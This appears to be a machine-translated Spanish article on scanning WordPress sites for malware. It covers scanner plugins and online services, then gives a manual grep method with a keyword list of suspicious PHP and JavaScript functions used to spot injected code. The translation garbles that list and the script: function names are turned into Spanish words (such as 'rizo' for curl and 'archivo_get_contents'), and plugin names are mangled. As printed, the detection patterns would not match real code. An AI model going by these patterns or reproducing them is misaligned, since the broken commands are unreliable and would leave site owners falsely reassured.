    Este complemento muy simple verifica todos los temas instalados en su sitio para ver si contienen código malicioso. El complemento detecta enlaces ocultos cifrados mediante la inserción de código base64 y también muestra información detallada sobre los problemas encontrados. La mayoría de las veces, los fragmentos de código encontrados no son virus, pero pueden ser potencialmente peligrosos, por lo que debes prestarles atención.

    Abra "Apariencia" -> "TAC" y luego espere hasta que todos los temas estén marcados.

    2. Escáner VIP

    Muy similar al escáner de temas TOC, pero muestra información más detallada. Las mismas capacidades para detectar enlaces, códigos ocultos y otras inserciones maliciosas. Simplemente abra el elemento VIP Scanner en la sección de herramientas y analice el resultado.

    Puede ser suficiente eliminar archivos innecesarios, por ejemplo, desktop.ini. O necesita ver con más detalle lo que sucede en los archivos que usan base64.

    3. Antimalware de GOTMLS.NET

    Este complemento le permite no solo escanear los temas y el núcleo del sitio en busca de virus, sino también proteger el sitio contra contraseñas de fuerza bruta y varios ataques XSS y SQLInj. La búsqueda se realiza en función de firmas y vulnerabilidades conocidas. Algunas vulnerabilidades se pueden solucionar en el sitio. Para comenzar a escanear archivos, abra "Anti-Malvare" en el menú lateral y haga clic en "Ejecutar escaneo":

    Antes de poder ejecutar un análisis, debe actualizar sus bases de datos de firmas.

    4. Valla de palabras

    Este es uno de los complementos más populares para la seguridad y el escaneo de malware de WordPress. Además del escáner, que puede encontrar la mayoría de los marcadores en el código de WordPress, existe una protección constante contra varios tipos de ataques y fuerza bruta de contraseñas. Durante la búsqueda, el complemento encuentra posibles problemas con varios complementos y temas e informa la necesidad de actualizar WordPress.

    Abra la pestaña "WPDefence" en el menú lateral, luego vaya a la pestaña "Escanear" y haga clic en "Iniciar escaneo":

    El análisis puede tardar algún tiempo, pero cuando se complete, verá un informe detallado de los problemas encontrados.

    5. Antivirus

    Este es otro complemento simple que escaneará la plantilla de su sitio web en busca de códigos maliciosos. La desventaja es que sólo se escanea la plantilla actual, pero la información se muestra con suficiente detalle. Verás todas las funciones peligrosas que hay en el tema y luego podrás analizar detalladamente si suponen algún peligro. Busque el elemento "AntiVirus" en la configuración y luego haga clic en "Escanear las plantillas de temas ahora":

    6. Comprobador de integridad

    También es recomendable comprobar la integridad de los archivos de WordPress, en caso de que el virus ya haya escrito en alguna parte. Puede utilizar el complemento Integrity Checker para esto. Comprueba todos los archivos principales, de complementos y de plantilla en busca de cambios. Al final del análisis, verá información sobre los archivos modificados.

    Servicios en línea

    También hay varios servicios en línea que le permiten verificar un sitio de WordPress en busca de virus o verificar solo la plantilla. Éstos son algunos de ellos:

    themecheck.org: descarga el archivo del tema y puede ver todas las advertencias sobre posibles funciones maliciosas que se utilizan en él. No sólo puedes ver información sobre tu tema, sino también sobre otros temas cargados por otros usuarios, así como diferentes versiones del tema. Todo lo que encuentren los complementos se puede encontrar en este sitio. Verificar tu tema de WordPress también es muy importante.

    virustotal.com es un recurso muy conocido donde puede comprobar si hay virus en su sitio web o en su archivo de plantilla.

    ReScan.pro: comprobar un sitio de WordPress en busca de virus utilizando este servicio es gratuito, se realizan análisis estáticos y dinámicos para detectar posibles redirecciones, el escáner abre las páginas del sitio. Compara el sitio con varias listas negras.

    sitecheck.sucuri.net es un servicio sencillo para escanear sitios y temas en busca de virus. Hay un complemento para WordPress. Detecta enlaces y scripts peligrosos.

    Verificación manual

    Nada puede ser mejor que la verificación manual. Linux tiene esta maravillosa utilidad grep que le permite buscar apariciones de cadenas arbitrarias en una carpeta con archivos. Queda por entender qué estaremos buscando:

    eval: esta función le permite ejecutar código PHP arbitrario, no la utilizan productos que se precian, si uno de los complementos o un tema usa esta función, existe casi un 100% de probabilidad de que contenga un virus;

    • base64_decode: las funciones de cifrado se pueden usar junto con eval para ocultar código malicioso, pero también se pueden usar con fines pacíficos, así que tenga cuidado;
    • sha1 es otro método para cifrar código malicioso;
    • gzinflate - función de compresión, los mismos objetivos, junto con eval, por ejemplo, gzinflate(base64_decode(code);
    • strrev: invierte la cadena no antes, ya que se puede utilizar una opción para el cifrado primitivo;
    • imprimir: envía información al navegador, junto con gzinflate o base64_decode es peligroso;
    • file_put_contents: el propio WordPress o los complementos aún pueden crear archivos en el sistema de archivos, pero si el tema hace esto, debe tener cuidado y verificar por qué lo hace, ya que se pueden instalar virus;
    • file_get_contents: en la mayoría de los casos se utiliza con fines pacíficos, pero puede usarse para descargar código malicioso o leer información de archivos;
    • rizo - la misma historia;
    • fopen: abre un archivo para escribir, nunca se sabe con qué propósito;
    • sistema: la función ejecuta un comando en un sistema Linux, si esto lo hace un tema, complemento o el propio WordPress, lo más probable es que haya un virus allí;
    • enlace simbólico: crea enlaces simbólicos en el sistema, tal vez el virus esté intentando hacer que el sistema de archivos principal sea accesible desde el exterior;
    • copiar: copia un archivo de una ubicación a otra;
    • getcwd: devuelve el nombre del directorio de trabajo actual;
    • cwd: cambia la carpeta de trabajo actual;
    • ini_get: recibe información sobre la configuración de PHP, a menudo con fines pacíficos, pero nunca se sabe;
    • error_reporting(0): desactiva la visualización de cualquier mensaje de error;
    • window.top.location.href: función de JavaScript utilizada para redirecciones a otras páginas;
    • pirateado: así que, por si acaso, lo comprobamos, de repente, el propio hacker decidió decírnoslo.

    Puedes sustituir cada palabra individual en un comando como este:

    grep -R "pirateado" /var/www/path/to/files/wordpress/wp-content/

    O utilice un script simple que buscará todas las palabras a la vez:

    valores="base64_decode(
    evaluación(base64_decode
    gzinflate(base64_decode(
    obtenercwd();
    strrev(
    chr(ord(
    cwd
    ini_get
    ventana.ubicación.superior.href
    Copiar(
    evaluar(
    sistema(
    enlace simbólico (
    informe_error(0)
    imprimir
    archivo_get_contents(
    archivo_put_contents(
    abrir(
    pirateado"

    cd /var/www/ruta/a/archivos/wordpress/wp-content/
    $ fgrep -nr --include \*.php "$valores" *



    
    Arriba